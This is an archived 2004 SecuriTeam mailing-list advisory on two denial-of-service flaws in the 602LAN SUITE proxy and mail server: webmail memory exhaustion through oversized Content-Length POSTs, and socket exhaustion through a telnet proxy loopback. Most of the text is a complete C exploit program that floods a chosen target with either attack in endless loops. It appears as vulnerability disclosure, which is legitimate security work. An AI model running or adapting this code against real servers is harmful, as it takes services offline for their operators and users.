

[NT] Resources Consumption in 602LAN SUITE

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-11/0021.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 11/07/04

To: list@securiteam.com

Date: 7 Nov 2004 14:05:59 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Resources Consumption in 602LAN SUITE

SUMMARY

<<http://www.software602.com/products/ls/mailserver.html>> 602LAN SUITE is "an all-in-one HTTP, FTP, telnet, SOCKS and RealAudio proxy server providing also webmail, SMTP and POP services".

The 602LAN SUITE has been found to contain two security vulnerabilities, a resources consumption through webmail and sockets consumption through a telnet proxy loop.

DETAILS

Vulnerable Systems:

* 602LAN SUITE version 2004.0.04.0909

Immune Systems:

* 602LAN SUITE version 2004.0.04.1104

Resources Consumption through webmail

The webmail service (/mail) can be used by an attacker to consume CPU and memory of the remote server. That happens through the usage of the POST request with a Content-Length value containing the desired amount of memory to eat and the subsequent closing of the connection without the

Securiteam: [NT] Resources Consumption in 602LAN SUITE

need of sending the specified data. The duration of the effect of each malformed request depends by the amount of data specified.

Sockets Consumption through a Telnet Proxy Loop

The telnet proxy is vulnerable to a loopback attack, practically it correctly avoids that users request to connect to the IP 127.0.0.1 but the same filter is not applied to the other network interfaces of the server, so an attacker can force the server to connect to its same local IP addresses consuming all its sockets.

Exploit:

```
/*
```

by Luigi Auriemma

```
*/
```

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
```

```
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
```

```
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
```

```
#define VER "0.1"
#define BUFFSZ 2048
#define EATRAM 52428800
#define MEM "POST /mail HTTP/1.1\r\n" \
"Host: localhost\r\n" \
"Content-Type: application/x-www-form-urlencoded\r\n" \
"Content-Length: %d\r\n" \
"\r\n" \
"none"
```

```
int timeout(int sock, int secs);
u_long resolv(char *host);
void std_err(void);
```

```
int main(int argc, char *argv[]) {
    int sd,
```

Securiteam: [NT] Resources Consumption in 602LAN SUITE

```
len,
pcklen,
attack;
u_short port;
u_char buff[BUFFSZ],
pck[BUFFSZ];
struct sockaddr_in peer;

setbuf(stdout, NULL);

fputs("\n"
"602 Lan Suite <= 2004.0.04.0909 resources consumption "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);

if(argc < 4) {
printf("\n"
"Usage: %s <attack> <server> <port>\n"
"\n"
"Attack:\n"
"1 = CPU 100%% and memory eating through webmail service
(m602c13w): will be\n"
"made infinite connections eating %d megabytes of RAM each
time, default\n"
"port of this service is 80\n"
"2 = sockets consumption through telnet proxy loop, default
port is 23\n"
"\n", argv[0], EATRAM >> 20);
exit(1);
}

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s:%hu\n",
inet_ntoa(peer.sin_addr), port);

attack = atoi(argv[1]);
if(attack == 1) {
pcklen = sprintf(pck, MEM, EATRAM);
printf(
"- CPU and memory consumption attack: note that the RAM on the
```

Securiteam: [NT] Resources Consumption in 602LAN SUITE

```
server will\n"  
    " start to be eaten after about 15 seconds, so wait and keep  
sysmon or other\n"  
    " resource monitors opened on the server to watch the real  
effects\n"  
    " Will be eaten %d bytes of memory for each connection\n",  
    EATRAM >> 20);  
  
for(;;) {  
    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);  
    if(sd < 0) std_err();  
  
    fputs("- connection: ", stdout);  
    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))  
        < 0) std_err();  
  
    if(send(sd, pck, pcklen, 0)  
        < 0) std_err();  
  
    if(timeout(sd, 1) < 0) {  
        fputs("ok\n", stdout);  
    } else {  
        fputs("rejected\n", stdout);  
    }  
  
    close(sd);  
}  
  
} else if(attack == 2) {  
    pcklen = sprintf(pck, "%s:%d\r\n", inet_ntoa(peer.sin_addr),  
port);  
    fputs(  
        "- sockets consumption attack: when you will see no new output  
on the screen\n"  
        " means the server has finished all its available sockets\n",  
        stdout);  
  
    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);  
    if(sd < 0) std_err();  
    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))  
        < 0) std_err();  
    for(;;) {  
        if(send(sd, pck, pcklen, 0)  
            < 0) std_err();  
  
        if(timeout(sd, 3) < 0) {  
            fputs("\nServer seems vulnerable!\n", stdout);  
        }  
  
        len = recv(sd, buff, BUFSZ, 0);  
        if(len < 0) std_err();  
    }  
}
```

Securiteam: [NT] Resources Consumption in 602LAN SUITE

```
        if(!len) break;
        buff[len] = 0x00;
        printf("%s\n", buff);
    }
    close(sd);
    fputs("\nServer doesn't seem vulnerable\n\n", stdout);

} else {
    fputs("\nError: you must choose an attack, 1 or 2\n\n", stdout);
}

return(0);
}

int timeout(int sock, int secs) {
    struct timeval tout;
    fd_set fd_read;
    int err;

    tout.tv_sec = secs;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolve hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)(hp->h_addr);
    }
    return(host_ip);
}

#ifdef WIN32
void std_err(void) {
    perror("\nError");
    exit(1);
}
#endif
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@autistici.org> Luigi Auriemma.

The original article can be found at:

<<http://aluigi.altervista.org/adv/602res-adv.txt>>

<http://aluigi.altervista.org/adv/602res-adv.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.